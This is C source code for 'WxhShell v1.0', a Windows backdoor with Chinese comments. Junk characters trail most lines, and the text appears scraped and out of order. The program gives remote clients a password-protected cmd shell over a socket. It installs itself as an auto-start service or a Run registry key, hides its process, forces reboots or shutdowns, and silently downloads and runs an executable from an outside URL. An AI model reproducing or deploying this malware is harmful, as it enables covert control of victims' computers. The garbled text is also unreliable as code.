    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eh;SH^&6  
    if(Boot(SHUTDOWN)) !h&A^sAc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1,fjdd8OM;  
    else { afRUBjs  
    closesocket(wsh); .3k"1I '\  
    ExitThread(0); _@0>y MZ^  
    } e"^* ~'mJ  
    break; Hs<vCL \  
    } az3rK4g  
  // 获取shell ;3NA,JA#Y  
  case 's': { 1lu _<?O  
    CmdShell(wsh); :|xV}  
    closesocket(wsh); )6dvWK  
    ExitThread(0); n\ aG@X%oq  
    break; ; 1K[N0xE  
  } ZiodJ"r  
  // 退出 FQSepUl  
  case 'x': { 4;8 Z?.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hh`7b,+ 4  
    CloseIt(wsh); 5'gV_U  
    break; 5=/H2T!F  
    } 75}BI&t3k  
  // 离开 EI6K0{'&X  
  case 'q': { %{s<h6{R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \gy39xoW(  
    closesocket(wsh); rWEJCFa  
    WSACleanup(); ve_TpP  
    exit(1); ziCTvT  
    break; `qp[x%7^  
        } Im i)YC  
  } 9/TF #  
  } m[,! orq  
OF'y]W&  
  // 提示信息 {j.5!Nj]B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /<)A!Nn+F  
} |13UJ vR  
  } _oxhS!.*  
\wqi_[A  
  return; &wr0HrE\  
} ^@e4m O  
s0 hD;`cm  
// shell模块句柄 ZW n j-  
int CmdShell(SOCKET sock) JlJy3L8L  
{ + DFG762  
STARTUPINFO si; k\X1`D}R  
ZeroMemory(&si,sizeof(si)); sui3(wb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q"4{GCavN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <5 G+(vP  
PROCESS_INFORMATION ProcessInfo; 7(AB5.O  
char cmdline[]="cmd"; #x! h BS!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  2bwf(  
  return 0; 'Y{fah  
} fF37P8Ir  
VJ;4~WgBz  
// 自身启动模式 ^w'y>uFM  
int StartFromService(void) $Kn{x!,"(  
{ 6tBL?'pG  
typedef struct Ub!MyXd{q  
{ uuW._$.A>  
  DWORD ExitStatus; (<!Yw|~  
  DWORD PebBaseAddress; ]wCg'EUB  
  DWORD AffinityMask; f]N2(eM  
  DWORD BasePriority; ;@ xSJqT  
  ULONG UniqueProcessId; o8c4h<,  
  ULONG InheritedFromUniqueProcessId; Cc7PhoPK  
}   PROCESS_BASIC_INFORMATION; ~YO99PP  
_Vr>/f  
PROCNTQSIP NtQueryInformationProcess; &|'k)6Rx  
qg6283'?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ousvsP%'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n 5h4]u  
Lq.aM.&;#  
  HANDLE             hProcess; ^6tGj+D9  
  PROCESS_BASIC_INFORMATION pbi; :=!?W^J  
jy#'oadS?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z)N8#Y~vn  
  if(NULL == hInst ) return 0; |9c J O@  
}_m/3*x_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fH[Yc>(oj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^y"5pf SR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @%mJw u  
YD1 :m3l!  
  if (!NtQueryInformationProcess) return 0;  uaN0X"  
(F9U`1~4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -)_"7}|u5  
  if(!hProcess) return 0; _GSl}\  
,x#5.Koz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qBL >C\V +  
AdV&w: ^yf  
  CloseHandle(hProcess); H<bYm]a%  
j t9fcw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); co^kP##Y  
if(hProcess==NULL) return 0; * 0M[lR0t  
dNd(57  
HMODULE hMod; \=3V]7\&  
char procName[255]; J eCKnt=  
unsigned long cbNeeded; .=rS,Tpo  
YmXh_bk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4 0as7.q  
{T EF#iF  
  CloseHandle(hProcess); AP*Z0OFE  
%DH2]B? 0  
if(strstr(procName,"services")) return 1; // 以服务启动 e%_2n=p~)%  
RQ}0f5~t  
  return 0; // 注册表启动 6Ap-J~4  
} kOi@QLdN  
~wtl\-cY  
// 主模块 RJ+i~;-  
int StartWxhshell(LPSTR lpCmdLine) @,btQ_'X  
{ S+aXlb  
  SOCKET wsl; $2lrP]`>j.  
BOOL val=TRUE; <7-Qn(m,  
  int port=0; B.)!zv\{  
  struct sockaddr_in door; 53>y<  
$J]VY;C!  
  if(wscfg.ws_autoins) Install(); ,ru2C_LQ  
PX7@3Y  
port=atoi(lpCmdLine); X)P;UVR0  
[N] 5)n  
if(port<=0) port=wscfg.ws_port; S3Q^K.e?  
`1;m:,9  
  WSADATA data; !kAjne8]d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E8$k}I  
j0^%1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SvE3E$*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !$}:4}56F  
  door.sin_family = AF_INET; <UI^~Azc#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |]s/NNU  
  door.sin_port = htons(port); 9eG{"0)  
s.VtmAH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l-?B1gd,l  
closesocket(wsl); U7GgGMw  
return 1; L-J 7z+{  
} aNd6# yU$  
A5U//y![{  
  if(listen(wsl,2) == INVALID_SOCKET) { S}QvG&c  
closesocket(wsl); \53(D7+  
return 1; Ph{7S43  
} =v-qao7xCV  
  Wxhshell(wsl); ."HDUo2D7  
  WSACleanup(); E]T>m!6  
{, +,:w7  
return 0; T'W)RYnwl  
,0j7qn@tm  
} =rH' \7T  
k9]M=eO  
// 以NT服务方式启动 H[H+s!)"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b A/,{R  
{ _>:R]2Ew  
DWORD   status = 0; &`]Lg?J  
  DWORD   specificError = 0xfffffff; DjzHEqiH  
H > Y0R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {Y0Uln5u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1#]0\Y(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :.2Tcq  
  serviceStatus.dwWin32ExitCode     = 0; F?APDGAN  
  serviceStatus.dwServiceSpecificExitCode = 0; ..Q$q2.  
  serviceStatus.dwCheckPoint       = 0; )1E[CIaXK  
  serviceStatus.dwWaitHint       = 0; \W%Aeg*c  
cOhx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,drbj.0-  
  if (hServiceStatusHandle==0) return; g4p-$WyT8>  
}02#[vg  
status = GetLastError(); nw.,`M,N  
  if (status!=NO_ERROR) I%4)%  
{ nYA@t=t0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vIMLUL0  
    serviceStatus.dwCheckPoint       = 0; |->P|1 P  
    serviceStatus.dwWaitHint       = 0; h\]D:S  
    serviceStatus.dwWin32ExitCode     = status; 3u&>r-V6Fn  
    serviceStatus.dwServiceSpecificExitCode = specificError; *?l-:bc]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $C&y-Hnar  
    return; H]zi>;D  
  } 6R`q{}.  
DL*/hbG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S9cAw5E(yN  
  serviceStatus.dwCheckPoint       = 0; )iKV"jsC  
  serviceStatus.dwWaitHint       = 0; bQTkW<7gh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nu=yE$BN{  
} Nj p?/r  
O1C| { M  
// 处理NT服务事件,比如:启动、停止 *#{V ^}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \Uz7ar#,  
{ d3,%Z &  
switch(fdwControl) ~tw#Q  
{ |8m2i1XG  
case SERVICE_CONTROL_STOP: ca@?-)  
  serviceStatus.dwWin32ExitCode = 0; 8ch^e[U`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j@ehcK9|  
  serviceStatus.dwCheckPoint   = 0; `<cn b!]  
  serviceStatus.dwWaitHint     = 0; [wLK*9@&  
  { S)n+E\c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0`=>/Wr39  
  } &1Zq C;  
  return; xAZ-_}'tW  
case SERVICE_CONTROL_PAUSE: Xyz w.%4c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1o Z!Up0  
  break; #0:N$'SZ  
case SERVICE_CONTROL_CONTINUE: gG?sLgL:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; " A4.2  
  break; [5"F=tT7WP  
case SERVICE_CONTROL_INTERROGATE: sYMgi D  
  break; F"G]afI9+  
}; fV>12ici  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z?@oe-mz  
} :gwM$2vv  
VKZZTFmV2)  
// 标准应用程序主函数 vq?aFX9F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P5$L(x%~  
{ b235Zm  
REK(^1 h  
// 获取操作系统版本 5LYzX+a)  
OsIsNt=GetOsVer(); OV.f+_LS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WP}NHz4H  
$2><4~T;|A  
  // 从命令行安装 j0X Jf<  
  if(strpbrk(lpCmdLine,"iI")) Install(); u#Z#NP ~F0  
Z<Rhn  
  // 下载执行文件 u`ezQvrcy  
if(wscfg.ws_downexe) { o*r 2T4 8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "/#=8_f  
  WinExec(wscfg.ws_filenam,SW_HIDE); .)Wqo7/Gx  
} bE6:pGr  
-zSkon2Y^  
if(!OsIsNt) { 'zUWO_(  
// 如果时win9x,隐藏进程并且设置为注册表启动 l(B(gPvU  
HideProc(); ab@1JAgs  
StartWxhshell(lpCmdLine); VhfM j|  
} o`{@':%D`  
else ?as1^~  
  if(StartFromService()) U3-cH  
  // 以服务方式启动 }w|a^=HAp  
  StartServiceCtrlDispatcher(DispatchTable); t ;-U  
else X<8   
  // 普通方式启动 O8mmS!  
  StartWxhshell(lpCmdLine); O]1aez[  
-Uj3?W  
return 0; )8_ x  
} Q)s`~G({P  
BYKONZu  
S=^kR [O"  
^sP-6 ^  
=========================================== $xK*TJ(k  
=-dg]Ol8  
l |Y?]LNr  
N!Cy)HnS\w  
8-_\Q2vG  
r9vO(m~  
" rG t/ /6  
6!|/(~  
#include <stdio.h> 71I: P|.>  
#include <string.h> g.]S5(  
#include <windows.h> U=vh_NHj  
#include <winsock2.h> G@=H=' :~  
#include <winsvc.h> 3[UB3F 4K  
#include <urlmon.h> i2y E-sgF  
p_:bt7 B  
#pragma comment (lib, "Ws2_32.lib") "0sk(kT  
#pragma comment (lib, "urlmon.lib") !zR1CM  
R[bI4|t  
#define MAX_USER   100 // 最大客户端连接数 1${rQ9FIF  
#define BUF_SOCK   200 // sock buffer .dQEr~f#}  
#define KEY_BUFF   255 // 输入 buffer ZDl6 F`  
p|&9#?t4A  
#define REBOOT     0   // 重启 cxB{EH,2Um  
#define SHUTDOWN   1   // 关机 |.~0Ulk,  
)1ct%rue  
#define DEF_PORT   5000 // 监听端口 \-Ipa59U  
H\^zp5/  
#define REG_LEN     16   // 注册表键长度 ~/R bYvyA  
#define SVC_LEN     80   // NT服务名长度 ;W2Rl%z88  
C_rA'Hy  
// 从dll定义API z:JQ3D7/we  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )d =8)9B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @\}w8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T:|PSJc0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RK\$>KFE  
nN*:"F/^  
// wxhshell配置信息 av:9kPKm  
struct WSCFG { `;v5o4.`  
  int ws_port;         // 监听端口 T@?uA*J  
  char ws_passstr[REG_LEN]; // 口令 _@_w6Rh  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'g#EBy  
  char ws_regname[REG_LEN]; // 注册表键名 7|Bg--G1  
  char ws_svcname[REG_LEN]; // 服务名 "b `R_gG9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (O`2$~mIM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZmKxs^5S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Og E<bw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =*'K'e>P3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zv>7;En3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T8US` MZ  
`F,*NESv  
}; Jr.4Y>;}e3  
LR:meCOI  
// default Wxhshell configuration &Z%|H>+;T  
struct WSCFG wscfg={DEF_PORT, tjWf`#tH>H  
    "xuhuanlingzhe", oRZ--1oR_  
    1, IM8lA  
    "Wxhshell", RS9mAeX4h  
    "Wxhshell", 7:P+S%ZL  
            "WxhShell Service", qf?X:9Wt  
    "Wrsky Windows CmdShell Service", u~7 ,v  
    "Please Input Your Password: ", l0@+ &Xj  
  1, [7sy}UH  
  "http://www.wrsky.com/wxhshell.exe", cwC-)#R']  
  "Wxhshell.exe" WcZck{ehd  
    }; o>?#$~XNv  
k=``Avp?  
// 消息定义模块 01&J7A2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )2dTgvy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #57D10j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0hoi=W6AQ  
char *msg_ws_ext="\n\rExit."; 0sGAC  
char *msg_ws_end="\n\rQuit."; G Z~W#*|V  
char *msg_ws_boot="\n\rReboot..."; ["} Yp  
char *msg_ws_poff="\n\rShutdown..."; [ m#|[%  
char *msg_ws_down="\n\rSave to "; vq;_x  
^wTod\y  
char *msg_ws_err="\n\rErr!"; c_dg/ !Iu  
char *msg_ws_ok="\n\rOK!"; Lju)q6  
x17K8De  
char ExeFile[MAX_PATH]; Kq4b`cn{_  
int nUser = 0; K'u66%wAL  
HANDLE handles[MAX_USER]; }35HKgqX  
int OsIsNt; s:f%=4-7  
)a0%62  
SERVICE_STATUS       serviceStatus; ;($"_h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /^^wHW:  
0k):OVfm=  
// 函数声明 :o=a@Rqx  
int Install(void); TW)~&;1l  
int Uninstall(void); kD{qW=Lpn  
int DownloadFile(char *sURL, SOCKET wsh); _=ziw|zI  
int Boot(int flag); w\(; >e@  
void HideProc(void); Xn3 \a81  
int GetOsVer(void); x !^u$5c  
int Wxhshell(SOCKET wsl); CTh!|mG  
void TalkWithClient(void *cs); EN/e`S$)  
int CmdShell(SOCKET sock); s$PPJJT{b  
int StartFromService(void); Yj#4{2A  
int StartWxhshell(LPSTR lpCmdLine); *r|)@K|  
C)v*L#{%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HHXm 4}!;<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MQ7Hn;`B  
 OK\F  
// 数据结构和表定义 Nub)]S>_/t  
SERVICE_TABLE_ENTRY DispatchTable[] = bUS"1Tg]*6  
{ wN^$8m5\T^  
{wscfg.ws_svcname, NTServiceMain}, V+- ]txu|  
{NULL, NULL} ON q=bI*  
}; *Iir/6myM  
._A@,]LS}  
// 自我安装 ^Z`?mNq9  
int Install(void) lVR a{._m  
{ X|wg7>kh*`  
  char svExeFile[MAX_PATH]; JVawWw0q  
  HKEY key; :0'2m@x~  
  strcpy(svExeFile,ExeFile); )"4v0dv  
*p=a-s5-  
// 如果是win9x系统,修改注册表设为自启动 2Pz)vnV"  
if(!OsIsNt) { NU{`eM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N"Mw1R4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T]0H&Oov  
  RegCloseKey(key); qG?svt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W1;u%>Uh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8DO3L "  
  RegCloseKey(key); ;[R#:Rk  
  return 0; [Z$E^QAP  
    } \\{+t<?J  
  } RZrQ^tI3"  
} Y24H` s1u/  
else { OS7^S1r-  
E whCX'Vaj  
// 如果是NT以上系统,安装为系统服务 +%: /!T@@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6-!U\R2Z>  
if (schSCManager!=0) Z(0sMOaX  
{ \2huDNW& !  
  SC_HANDLE schService = CreateService X^c2  
  ( (>usa||  
  schSCManager, ^j>w<ljzz  
  wscfg.ws_svcname, TeXt'G=M  
  wscfg.ws_svcdisp, /lqVMlz\77  
  SERVICE_ALL_ACCESS, n,vs(ZL:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?X5Y8n]y\h  
  SERVICE_AUTO_START, }=T=Z#OgH  
  SERVICE_ERROR_NORMAL, `iT{H]po  
  svExeFile, v[J"/:]  
  NULL, Yv ZcG3@c3  
  NULL, C]'ru  
  NULL, I?Fv!5p  
  NULL, yG..B  
  NULL V_p[mSKJv  
  ); g*%z{w  
  if (schService!=0) Kg>ehn4S@  
  { 6Qh@lro;y  
  CloseServiceHandle(schService); W< sa6,$  
  CloseServiceHandle(schSCManager); (W'.vEl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RjW< H6a"K  
  strcat(svExeFile,wscfg.ws_svcname); I/V lH:o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EnD }|9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .{ +Ob i  
  RegCloseKey(key); #'lqE)T  
  return 0; |jT^[q(z  
    } 9f U,_`r  
  } <]e0TU?bk  
  CloseServiceHandle(schSCManager); 8AgKK=C =  
} kD.KZV  
} bDq[j8IT6  
j$ h>CZZ  
return 1; Oiz@tEp=_  
} !wNj;ST*  
'wm :Xa  
// 自我卸载 M`u&-6  
int Uninstall(void) op5G}QZ  
{ Tc.k0n%W:b  
  HKEY key; BK;Gh0mp  
{.mP e|  
if(!OsIsNt) { i0/RvrLc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pua| Z x  
  RegDeleteValue(key,wscfg.ws_regname); {>rGe#Vu  
  RegCloseKey(key); 6G0Y,B7&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {$H-7-O$  
  RegDeleteValue(key,wscfg.ws_regname); JDp{d c  
  RegCloseKey(key); pB0p?D)n  
  return 0; O~~WP*N  
  } RF$2p4=[  
} |X6/Y@N  
} vv0+F6 @  
else { Nt'6Y;m!  
,C97|6rC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Md[M}d8  
if (schSCManager!=0) jqv"8S5  
{ CaE1h9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RJhafUJ zH  
  if (schService!=0) OPe3p {]  
  { i&_&4  
  if(DeleteService(schService)!=0) {  TG^?J`  
  CloseServiceHandle(schService); B/F6WQdZ  
  CloseServiceHandle(schSCManager); P#o"T4 >  
  return 0; 56`Tna,t  
  } rK@XC +`S  
  CloseServiceHandle(schService); Vz @2_k   
  } vmsrypm  
  CloseServiceHandle(schSCManager); %pG^8Q()   
} cM 5V%w  
} OAw- -rl  
]o+5$L,5b  
return 1; G~ mLc  
} %<]4]h  
~H4wsa39  
// 从指定url下载文件 o!@}&DE|*L  
int DownloadFile(char *sURL, SOCKET wsh) h'm-]v  
{ ;vuqI5k  
  HRESULT hr; /?*GJN#  
char seps[]= "/"; dYxX%"J  
char *token; O3KTKL]  
char *file; -g\;B  
char myURL[MAX_PATH]; s{9 G//  
char myFILE[MAX_PATH]; CR8szMa  
eEl71  
strcpy(myURL,sURL); BL[N  
  token=strtok(myURL,seps); CFTw=b@  
  while(token!=NULL) =8V 9E  
  { \@!"7._=  
    file=token; 1W r,E#+C  
  token=strtok(NULL,seps); Nbvs_>N   
  } .$"13"  
`~k`m{4.a  
GetCurrentDirectory(MAX_PATH,myFILE); DmtCEKa  
strcat(myFILE, "\\"); RIdh],-  
strcat(myFILE, file); +=MN_  
  send(wsh,myFILE,strlen(myFILE),0); N> jQe  
send(wsh,"...",3,0); C116 c"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f Hd|tl  
  if(hr==S_OK) VS jt|F)t  
return 0; (|9t+KP  
else G$mAyK:  
return 1; 9_-6Lwj6t  
8yDe{  
} Rl{e<>O\^  
B&L-Lc2  
// 系统电源模块 xQ,My  
int Boot(int flag) 5RsO^2V:  
{ N@#,YnPI  
  HANDLE hToken; Lm3~< vP1e  
  TOKEN_PRIVILEGES tkp; 4&kC8 [r  
%urd;h D  
  if(OsIsNt) { r t0_[i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wQ9?Z.-$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _)kTlX:,  
    tkp.PrivilegeCount = 1; U!i1~)s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]_(J8v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G _-JR  
if(flag==REBOOT) { hN^,'O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .]w=+~h  
  return 0; K1$   
} F}~qTF;H  
else { vzFo"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b.j$Gna>Q  
  return 0;  alH6~  
} =&I9d;7  
  } IOT-R!.5V  
  else { 4$+1&+@ ]  
if(flag==REBOOT) { `?G&w.Vs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Ly@5y"  
  return 0; 19b@QgfWpb  
} es^@C9qt  
else { 74r$)\q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FrC)2wX  
  return 0; P W_"JZ  
} `gAW5 i-z5  
} Z`<5SHQd  
bH.SUd)  
return 1; UZpQ%~/  
} 3 <)+)n  
Z 4QL&?U  
// win9x进程隐藏模块 M}e}3w  
void HideProc(void) '*B%&QC-  
{ <?>tjCg'  
!oa/\p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rt>mAU$}  
  if ( hKernel != NULL ) goe %'k,  
  { .*edaDi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +ib&6IU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (q@%eor&}  
    FreeLibrary(hKernel); o3$dl`'  
  } I0*N "07n  
X-*LA*xbN  
return; fjCFJ_  
} d$^ @$E2f  
y* :C~  
// 获取操作系统版本 U@9v(TfV  
int GetOsVer(void) &F:%y(;{Y  
{ WjguM  
  OSVERSIONINFO winfo; :T{VCw:*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gBr /Y}I  
  GetVersionEx(&winfo); 1~Z   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nC(Lr,(  
  return 1; 2@W`OW Njm  
  else y+p"5s"  
  return 0; D#P]tt.Z   
} tOX -vQ  
,xg-H6Xfa{  
// 客户端句柄模块 T|,/C|L  
int Wxhshell(SOCKET wsl) .W\JvPTC  
{ +%H=+fJ2}  
  SOCKET wsh; x_t$*  
  struct sockaddr_in client; ^ WF_IH&  
  DWORD myID; aLl=L_  
jx{ fel  
  while(nUser<MAX_USER) rJh$>V+ '  
{ d_!}9  
  int nSize=sizeof(client); 8DX5bB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7 0PGbAD  
  if(wsh==INVALID_SOCKET) return 1; m>|7&l_  
k[)/,1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AZf69z  
if(handles[nUser]==0) r KYQ 8T  
  closesocket(wsh); &@FufpPw/  
else T"t.t%(8  
  nUser++; +:W/=C d(h  
  } ht#,v5oG>f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EeH ghq  
@Ko#nDEq  
  return 0; -/ G#ls|?  
} `n@;%*6/  
hXvC>ie(i  
// 关闭 socket ;66{S'*[  
void CloseIt(SOCKET wsh) 3-oKY*jO  
{ T(,@]=d,DD  
closesocket(wsh); V>`9ey!U  
nUser--; 5 `@yX[G  
ExitThread(0); 3,EtyJ3[Bh  
} n a*Z0y  
\TYVAt] ?  
// 客户端请求句柄 _DAqL@5n  
void TalkWithClient(void *cs) &*bpEdkZ  
{ 'y5H%I!  
u1gD*4+  
  SOCKET wsh=(SOCKET)cs; Nf)SR#;  
  char pwd[SVC_LEN]; =dwy 4  
  char cmd[KEY_BUFF]; "&{.g1i9  
char chr[1]; B`gH({U  
int i,j; I2krxLPd  
| #b/EA9  
  while (nUser < MAX_USER) { c[T@lz(!  
6Eus_aP  
if(wscfg.ws_passstr) { )c?nh3D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x0%yz+i{:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Gzp (@<@e  
  //ZeroMemory(pwd,KEY_BUFF); xB]^^ NYE=  
      i=0; -knP5"TB  
  while(i<SVC_LEN) { }#2(WHf =<  
6y "]2UgQk  
  // 设置超时 8C? E1fH\  
  fd_set FdRead; .|Yn[?(  
  struct timeval TimeOut; +~* e B  
  FD_ZERO(&FdRead); q: X^V$`  
  FD_SET(wsh,&FdRead); 3[m2F O,Z  
  TimeOut.tv_sec=8; =GW[UnO  
  TimeOut.tv_usec=0; m=Gb<)Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;Wa&Dg/5`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jl6lZd(Np  
dt>9mF q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ .+:yV<$  
  pwd=chr[0]; TA8  
  if(chr[0]==0xd || chr[0]==0xa) { O OXP1L  
  pwd=0; -%Ce  
  break; =d iGuI B  
  } rg=Ym.  
  i++; K`j:F>b  
    } $~j9{*]5  
IxG7eX!  
  // 如果是非法用户,关闭 socket )/Gi-::  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O<$j}?2  
} =q|//*t2  
mxu!$wx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uHRxV"@}[1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "c?31$6  
xn@oNKD0  
while(1) { g>#}(u!PH  
| +uc;[`  
  ZeroMemory(cmd,KEY_BUFF); th<>%e}5c  
Oqt{ uTI~  
      // 自动支持客户端 telnet标准   d(@ ov^e-  
  j=0; I~Qi):&x  
  while(j<KEY_BUFF) { c4r9k-w0E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8H T3C\$s  
  cmd[j]=chr[0]; +F%tBUY{<  
  if(chr[0]==0xa || chr[0]==0xd) { Ct zW do.  
  cmd[j]=0; .JJ50p  
  break; "zzb`T[8  
  } ~=t9-AF-  
  j++; hs:iyr]@9  
    } ie>mOsz  
8J- ?bo  
  // 下载文件 Z6Z/Y()4Tl  
  if(strstr(cmd,"http://")) { )>^Ge9d]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]"htOO  
  if(DownloadFile(cmd,wsh)) \ rg;xZa5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?<5KLvGv  
  else QAMcI:5  
